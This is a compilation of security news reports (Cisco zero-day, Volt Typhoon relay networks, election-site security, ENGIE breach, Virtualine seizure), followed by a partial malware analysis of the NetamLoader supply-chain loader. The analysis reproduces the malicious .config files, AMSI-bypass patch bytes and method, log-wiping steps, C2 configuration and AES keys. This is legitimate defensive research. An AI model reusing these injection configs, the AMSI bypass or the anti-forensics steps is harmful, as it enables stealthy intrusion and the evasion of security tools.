Microsoft released the KB5127936 preview cumulative update for Windows 11 versions 25H2 and 26H2, with 41 changes, including File Explorer and Cloud rebuild improvements. KB5127936 is a preview update that adds new features and fixes at the end of each month, letting IT admins and users test them before they roll out to the entire user base during next month's Patch Tuesday. However, unlike regular Patch Tuesday cumulative updates, monthly preview updates are optional and don't include security patches. The October 2026 preview update makes the File Explorer context menu faster and easier to customize, letting users choose which app extensions and commands appear and how they're organized. After you install KB5127936, Cloud rebuild can also reinstall Windows without USB media or a custom image, using an image and drivers downloaded directly from Windows Update, even when Windows won't start.
Cisco released security updates to patch a denial-of-service zero-day in Adaptive Security Appliance (ASA) and Threat Defense (FTD) software that attackers are exploiting to remotely crash vulnerable firewall devices. Tracked as CVE-2026-76418, this high-severity vulnerability affects devices running ASA and FTD software with configurations containing the 'webvpn' keyword and SSL VPN enabled on at least one interface. Successful exploitation allows unauthenticated, remote attackers to trigger a denial-of-service (DoS) condition, causing the device to reload unexpectedly. Cisco advised customers to patch vulnerable firewalls after its Product Security Incident Response Team (PSIRT) discovered evidence that the flaw was being exploited in the wild earlier this month. However, the company didn't provide indicators of compromise and hasn't shared additional information about the attacks, including which organizations are being targeted or who is exploiting the flaw.
Volt Typhoon used disposable relay chains to hide zero-day attacks on critical systems. Lumen linked Silent Train to at least four zero-days. Lumen’s Black Lotus Labs has spent three years tracking a covert network it calls Silent Train, which it ties to Volt Typhoon, the China-linked APT group. The cybersecurity firm says the network hid exploitation of software flaws the vendors didn’t know about yet. Black Lotus sent hundreds of victim notifications along the way, and the investigations that followed revealed the exploitation of at least four confirmed zero-days and one likely. “Volt Typhoon’s Silent Train is a covert network designed to gain and maintain access to the technologies businesses rely on to manage devices, networks and critical operations.” reads the report published by Lumen. “Black Lotus Labs® tracked how the group used rapidly changing chains of compromised infrastructure to conceal its activity while exploiting previously unknown vulnerabilities in centralized management platforms.” Silent Train first showed up in November 2023, shortly before the first takedown of the KV-botnet, Volt Typhoon’s earlier network of hijacked routers. Activity rose after the second disruption. The group dropped persistent infrastructure and moved to disposable chains of compromised devices that it could rebuild whenever it wanted. Each session began on a rented server outside the United States. It then passed through another server and compromised small-office routers, home devices and IoT equipment in other countries. Finally, the traffic passed through a compromised device in the U.S., close to the target. This helped the attackers make their activity look like normal local traffic and bypass location-based blocks and IP reputation filters. On average, the chains passed through about four devices before reaching a U.S. IP address. Some used as many as six. Lumen identified more than 27 types of devices used in the network, including TP-Link routers and Fortinet appliances. Some of these devices had no known vulnerabilities, suggesting that Volt Typhoon may have used previously unknown exploits to compromise them and create relay points. “We observed more than 27 device classes exploited and used in Silent Train operations, ranging from SOHO and IoT devices like TP-Link routers and Netgear Orbi devices to enterprise platforms like Fortinet appliances and CyberPanel servers.” the report continues. “Some relay device types lack known vulnerabilities, suggesting Volt Typhoon leveraged undisclosed zero-day exploits to set up a single relay in a four-to-six hop chain and indicating a willingness to commit significant resources to protecting future access capabilities.” The attackers exploited exposed web interfaces and installed only the tools needed to connect the devices through SSH. These included temporary SSH services, keys, configuration files and tools already available on the systems. At the end of each session, they removed all traces of their activity and dismantled the relay chain. Sessions lasted about four hours on average, although some lasted only minutes. The attackers could also build a new chain in less than two minutes, suggesting that they had partly automated the process. The group worked with strict discipline. New device types arrived about one per quarter, and about one per month during the 2023 and 2024 build-out, always tested outside the U.S. first. Roles never changed: Intelbras modems served only as overseas relays, Netgear Orbi devices only as the U.S. hops facing victims, and the server providers stayed separated by layer too. By early 2025, enterprise platforms like Fortinet, Cisco, PRTG, Mirth Connect and CyberPanel joined as final hops. They stayed up one to three months and supported several intrusions. The group also added reverse tunnels using the open-source proxies Chisel and FRP, and the old and new methods ran in parallel. Volt Typhoon used Silent Train only during key stages of its attacks, including exploiting vulnerabilities, stealing credentials and data, and maintaining access to compromised systems. Each session targeted between one and five victims, often just one organization. The activity was carried out by human operators, mainly from Monday to Friday, between 9 a.m. and 10 p.m. China Standard Time. The group also paused operations for several weeks around Chinese New Year. The group targeted tools used to manage endpoints and networks, as well as SD-WAN systems and other control platforms. These systems can manage hundreds or thousands of devices, allowing attackers to reach many systems without moving through the network in the usual way. This approach also helped them leave fewer traces. After the attacks, investigators found webshells running in memory, stolen credentials, misuse of built-in features such as remote file transfers, and deleted logs. The four confirmed zero-day campaigns hit Versa Director in 2024, N-able N-central through CVE-2025-8875 and CVE-2025-8876, Cisco Catalyst SD-WAN through CVE-2026-20127, and VeloCloud Orchestrator through CVE-2026-16812. The Cisco bug is a CVSS 10.0 flaw, and the group kept exploiting it well after Cisco disclosed it in February 2026. In the Versa case, the group used an in-memory JAR webshell to limit forensic evidence and reach downstream customers. The likely fifth is Quest KACE. The campaign hit more than 30 victims and faded after Quest’s October 2025 security updates. “The campaign affected more than 30 victims, followed vendor remediation timelines and declined after Quest’s October 2025 security updates.” the report states. “Despite limited forensic evidence, the available data supports a moderate-confidence assessment that Volt Typhoon exploited a zero-day vulnerability.” The actor stayed on the KACE server and used its admin features to take credentials. Victims include telecoms, government agencies, defense contractors, satellite and emergency communications, universities with ROTC programs, managed service and IT firms, and critical infrastructure such as water, energy, transportation, maritime, rail and aviation. What they share is access to bigger networks or customers. Hawaii, California and Texas were the top locations for several years. Lumen can’t say why, but the pattern fits pre-positioning for a crisis in the Indo-Pacific. “For enterprise leaders, the lesson is clear: systems with broad administrative reach can become high-value gateways to the entire organization and its customers. Reducing internet exposure, accelerating patching, strengthening access controls and preserving security telemetry are essential to detecting threats earlier and limiting their impact.” Lumen concludes. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, China)
US election websites show improved security, but weak email protection, non-.gov domains and third-party tracking still expose voters to risks. Millions of Americans will use websites to check their registration, find polling places or track ballots before the November 3 election. However, a new study finds that many county election websites still have security weaknesses involving domain names, email authentication, encrypted connections and third-party tracking. Mysterium VPN’s 2026 County Election Website Security Census examines 2,081 county election websites across the United States. “42% of county election websites aren’t on .gov (869 of 2,081 identified). That’s down from 57% in 2024.” states the report. “Weighted by population, it’s 28% because the big counties moved first.” That’s an improvement from 57% in the company’s 2024 census. However, the findings reveal persistent weaknesses that could expose voters to impersonation, misleading websites and unnecessary data collection. These findings concern public information websites and their contact domains. They do not establish that voting machines, ballot-counting systems or election results have been compromised. The researchers started with 3,144 US counties and county equivalents but identified county-run election information pages for 2,081. Of these, 869 used domains outside .gov. Only verified US government organizations can register a .gov domain, making it a useful way for voters to identify official government websites. The study found that larger counties had made more progress: when weighted by population, 28% of residents lived in counties whose election pages used non-.gov domains. Texas accounted for 169 non-.gov sites, including 134 using the older co.<county>.tx.us structure. Arizona and Nebraska had no identified non-.gov county election sites. The FBI and CISA previously warned that criminals were using fake election websites to spread false information and collect personal data. Moving to .gov and redirecting older addresses can reduce confusion, although the domain alone cannot guarantee that every aspect of a website is secure. Election offices communicate with voters about registration, identification requirements and missing ballots. Weak email authentication can make it easier for attackers to impersonate these offices. Of 1,977 readable election pages, 965 displayed a contact address. After excluding consumer email services, researchers examined 942 county-controlled domains. “Of the 1,977 election pages whose content we could read, 965 display a contact address. Twenty-three of those are at consumer providers like Gmail. As in 2024, we set them aside, because Gmail’s security policy is Gmail’s, not the county’s.” states the report. “That leaves 942 county-controlled election email domains.” The study reported that 23% had no DMARC record, while 28% used p=none, a monitoring-only policy that does not request quarantine or rejection of unauthenticated messages. Another 30% requested quarantine and 19% rejection. Together, the first two groups account for roughly 51% of domains without an enforced DMARC policy. The report’s underlying counts total 941 rather than the stated 942, a discrepancy that requires clarification. The share of domains without DMARC fell from 41% in 2024 to 23% in 2026. SPF, another email authentication mechanism, was present on 98% of checked domains. Smaller counties performed worse. Among the third of counties with the fewest residents, 34% of election contact domains lacked DMARC, compared with 12% among the largest counties. Non-.gov domains also showed weaker protection: 32% lacked DMARC, compared with 16% of .gov domains. These findings indicate an association, not proof that adopting .gov automatically improves email security. DMARC enforcement can reduce certain forms of domain spoofing, but it cannot prevent every impersonation attempt, lookalike domain or attack involving compromised accounts. The researchers found 28 websites with consistent HTTPS failures among the 2,081 tested. Fifteen lacked a working HTTPS service, seven presented certificates for the wrong domain, and others had expired or untrusted certificates or failed to establish a secure connection. Another 178 websites would serve election pages over unencrypted HTTP if visitors requested them that way. Only 34% sent an HSTS header, which instructs compatible browsers to insist on encrypted connections. Sixty-three certificates were due to expire within 30 days of Election Day. A separate test examined third-party connections when election pages loaded in a clean browser, without clicks or scrolling. Of 1,930 measured pages, 84% contacted at least one company identified as a tracker by Disconnect or DuckDuckGo. The median page contacted six third-party domains. Google Analytics or Tag Manager appeared on 60% of websites, while Meta Pixel appeared on 3%. Mysterium suggests that some tracking results from default settings in website platforms rather than deliberate decisions by election officials. The presence of third-party code does not, by itself, establish unlawful tracking or prove exactly what information was collected. Still, counties should review whether these connections are necessary on pages designed to provide basic voting information. The study examined recognizable election-related domain names across several extensions, including .gov, .com, .org, .net, .us and .vote. Researchers identified 2,074 matching names that resolved to an address. Of these, 121 were registered outside government control. Thirty-eight hosted unrelated websites, eight were offered for sale, 73 displayed basic server or hosting pages, and two served gambling or spam content. The researchers also found 73 counties with a working .gov version of the name used by their non-.gov election website, suggesting that some had secured the official address without completing the migration. A separate test generated 14,456 single-character misspellings of 77 state and large-county election domains. Researchers found 245 registered variants and identified 26 that served parked, placeholder or unrelated pages after excluding potentially coincidental matches. The study does not establish that these registrations were malicious or identify their owners. However, a voter who mistypes an address or guesses the wrong domain ending could reach a third-party website instead of an official source. Across the seven states that decided the 2024 presidential election, 43% of identified county election websites were outside .gov, down from 55% in 2024. In these states, 26% of election contact domains lacked DMARC, compared with 39% two years earlier. However, 55% still lacked an enforced policy. The nine states whose 2026 Senate races were rated toss-up or lean in mid-October showed similar concerns: 53% of identified county election sites were outside .gov, while 44% of election contact domains lacked enforced DMARC. These figures measure website and email configurations. They are not evidence that an election has been compromised. Mysterium recommends that eligible government organizations complete the move to .gov, redirect old addresses, enforce email authentication policies and configure HTTP-to-HTTPS redirects and HSTS. Counties should inventory legitimate email senders before tightening DMARC policies to avoid disrupting valid communications. They should also review advertising pixels and unnecessary third-party connections, monitor certificate expiration dates and consider registering defensive versions of their domains. For voters, the report recommends starting with the state election office listed on USA.gov and following its link to the relevant county website. Voters should avoid trusting unsolicited messages or plausible-looking search results without checking the destination. If an election-office email comes from an unexpected address, voters should verify it using an independently obtained official telephone number. An unusual address is a reason to check, not proof of fraud, since the study found that some legitimate offices still use consumer email services. The researchers combined Census Bureau county data with official websites recorded in Wikidata and checked them against CISA’s .gov registry. They tested displayed contact addresses, email authentication records, certificates, redirects, tracking requests and lookalike domains. The study identified 2,081 election pages, compared with 2,913 in the 2024 manual survey. Automated discovery favored larger counties with better-structured websites, leaving smaller counties underrepresented even though some had weaker protections. The comparisons indicate progress but are not a perfectly matched before-and-after assessment. Different tests also used different sample sizes, and the tracking analysis measured a single page load from one location. The observations reflect October 17, 2026, rather than continuous monitoring. The findings provide a useful snapshot of public-facing election website security, but individual results should be rechecked before drawing conclusions about a specific county. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Election Website)
ENGIE says attackers accessed French customers’ contact and energy contract data through a partner sales tool. Banking data was not affected. French multinational energy company ENGIE warned customers in France that attackers accessed personal information through a sales tool used by some business partners. The exposed data includes contact details and energy contract information that could help fraudsters impersonate the supplier. The company says its internal IT systems weren’t compromised and banking information wasn’t affected. It has blocked the attackers’ access, notified the relevant authorities and contacted affected customers, according to a spokesperson who spoke to BleepingComputer. According to notification emails sent to affected customers, the incident involved a tool used by partners to sell the company’s electricity and natural gas offers. The notification confirms that attackers gained unauthorized access to personal information stored in the sales tool. “We are informing you that an act of cyber-malice recently affected a tool used by some of our partners to market energy offers. As part of this incident, unauthorized access to your personal data was identified.” reads the notification. The compromised information includes customers’ names, postal addresses, email addresses, telephone numbers, customer IDs, contract numbers and energy supply identifiers. The company hasn’t disclosed the partner or platform involved. It also hasn’t revealed how many customers were affected, when the intrusion began, or when it was discovered. For electricity customers, these include the delivery point identifier (PDL). For gas customers, they include the metering and estimation point (PCE). ENGIE says financial information wasn’t affected and that its investigation indicates the exposure was limited to contact details and certain contract information. That reduces one category of risk but doesn’t eliminate financial fraud. Attackers can use accurate customer information to persuade victims to disclose additional data or make payments. Anyway, the exposed data could support impersonation scams. The company warned customers to watch for attempts to obtain further information or induce payments. A contract number, however, doesn’t prove that a caller is legitimate. It may simply show that the person has access to an exposed record. Customers should verify unexpected requests through trusted channels, even when the sender knows their personal details. ENGIE hasn’t attributed the attack to a specific group, and at this time no ransomware group has claimed responsibility for the attack. Experts recommend visiting ENGIE’s official website or app directly instead of signing in through links received by email. Customers should also be cautious with unexpected calls and messages. If someone requests a payment, password or additional personal information, they should end the exchange and verify the request using independently obtained official contact details. Customers should never share SMS verification codes, passwords or banking details with someone who contacts them unexpectedly. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, data breach)
The FBI seized Virtualine, a hosting service accused of supporting criminal sites, ignoring abuse reports and helping launder money from illegal activities The FBI seized the website of Virtualine, a hosting service that sold its services to criminals. The seized domain is virtualine.net, and the government says the site was used to commit and facilitate prolific criminal activity. That includes the advertisement of sexually explicit images of minors, the intentional disclosure of nonconsensual intimate images of adults and minors, and international money laundering. A court authorized the seizure. “Theophani K. Stamos, First Assistant U.S. Attorney for the Eastern District of Virginia, and Darren B. Cox, Assistant Director in Charge of the FBI Washington Field Office, announced today the seizure of the website virtualine.net after it was used to commit and facilitate prolific criminal activity, including the advertisement of sexually explicit images of minors, the intentional disclosure of nonconsensual intimate visual depictions of adults and minors, and international money laundering designed to conceal and promote criminal conduct.” The Justice Department has the details in a press release. Virtualine, also known as Secury, Massgod, Spamhouse, Lanedo and Omegatech, offers “bulletproof” hosting. It sells hosting, servers and domain names to customers who want a provider that ignores abuse complaints. It promotes its services on cybercrime forums. Court records include examples of those ads. In September 2024, Virtualine told an Exploit.in user that it allowed illegal activities such as phishing, payment card fraud, email spam and port scanning, but banned child sexual abuse material and terrorism-related content. In June 2025, it boasted on HackForums that it ignored more abuse than three therapists combined. In March 2026, Virtualine promoted an “additional protection plan” for customers, offered after the company received an official request from law enforcement. Under the plan, it would move the customer’s criminal infrastructure to another shell company unaffiliated with Virtualine, and then reactivate the server. It was a game of musical shell companies. “In March 2026, Virtualine advertised its “additional protection plan,” which it offered to its customers after “receiv[ing] an official request from law enforcement agencies.” Under this plan, Virtualine would move the customer’s criminal infrastructure to “another shell company not affiliated with Virtualine, after which the server is reactivated.”” continues the press release.”As Virtualine advertised to users on the platform HackForums in June 2025, “Virtualine ignored more abuse than your last three therapists.”” Despite saying it bans child content, the government says Virtualine knowingly hosted a website that carried it. Court records call that site Vendor 1. It’s a criminal online forum where users post and sell access to nude, sexually suggestive or sexually explicit images and videos of minors and adults, and it also promotes a hack-for-hire service in which people pay hackers to get into victims’ online accounts without consent and take explicit images and videos. In January 2026, about a month after assigning Vendor 1 an IP address, Virtualine began receiving reports of child sexual abuse images and videos on the server. The reports came from police in Germany, Canada and Australia, the US National Center for Missing and Exploited Children (NCMEC), and a victim’s lawyer. According to the government, Virtualine continued hosting Vendor 1 despite those warnings. The government also says Virtualine helped Vendor 1 build a new website. It allowed users to upload illegal material and download it after paying. The site accepted several payment methods, including an option called “BTC [NO-AML].” It used bitcoin addresses outside a hosted payment service, allowing customers to pay directly and avoid that service’s checks for illegal funds. Authorities say some payments came directly from criminal groups. They accuse Virtualine of accepting the money and moving it through further transactions to hide its source. The FBI’s Washington Field Office led the investigation, with significant help from Germany’s Polizei Hessen, the Netherlands’ Politie Midden-Nederland, the U.K.’s National Crime Agency, and private partners OverRIPE and Lumen. The Justice Department’s Office of International Affairs also assisted. Assistant U.S. Attorneys Laura D. Withers and Stefanie A. Schwartz represent the government. A domain seizure doesn’t end the problem, and the government says so in plain terms. The new website Virtualine built with Vendor 1 has already drawn at least one abuse complaint about sexually explicit images of children, and the release adds: Virtualine hosts this new website to this day. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Virtualine)
Introduction A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established. The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report. Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*. Background During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive: C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24dStarting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework. Initial infection The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\: Files compressed in the CAB file Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments: C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxAfter the file is launched in this manner, the infection chain progresses to stage 1. Stage 1 Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below. Infection chain: Stage 1 Step 1 The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config. <?xml version="1.0" encoding="utf-8" ?> <configuration> <runtime> <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"> </appDomainManagerType> <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> </appDomainManagerAssembly> <NGenAssemblyUsageLog enabled="0" /> </runtime> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /> </startup> </configuration> According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below: <?xml version="1.0" encoding="utf-8"?> <section name="foo"> <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /> </section> Step 2 The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing. In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded: Multiple layers of payloads are compressed and encrypted in the .resx file The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class. Base64-encoded serialized binary object in Resources.resx Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object. XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax. A code snippet of XAML-1 Step 3 The XAML-1 code acts as a loader for an embedded payload. The process is as follows: Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase. Generate the AES key by hashing the command‑line string with SHA‑256. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load(). If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack. Stage 2 XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage. Infection chain: Stage 2 XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load(). A code snippet of XAML-2 XAML-2-1 The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning. Sensitive strings in XAML-2-1 are cut into tiny pieces To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string. The key steps it takes to achieve its goal are as follows: Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID. Patch the AMSI module. Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3). Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method. Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0). One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks. XAML-2-2 XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter. .NET 1 Loader .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below: { "p": "[Base64‑encoded JSON, which we call JSON‑1-p]" "c": "[Base64‑encoded JSON, which we call JSON‑1-c]" } JSON-1-c This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server. sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader. JSON-1-p JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads: oib: Base64‑encoded .NET 2 Plugin (PE file) oub: Base64‑encoded XAML that invokes Exit(0) ibk: AES key used to decrypt ibi ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below. Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage. [ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ] After obtaining the configuration, .NET 1 Loader proceeds with the following key steps: Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1. Delete malicious files extracted from the CAB PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia. "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7. For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server. Verify that the current user is an administrator; if not, throw an exception with code 128. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid(). Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] POST the encrypted and encoded result to the reporting C2 server. XAML-3 XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__). The multi-layer encryption structure of “ibi” The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2. Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2). The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__. Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2. The C2 configuration in XAML‑P2 is shown below: Item Value Description ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and 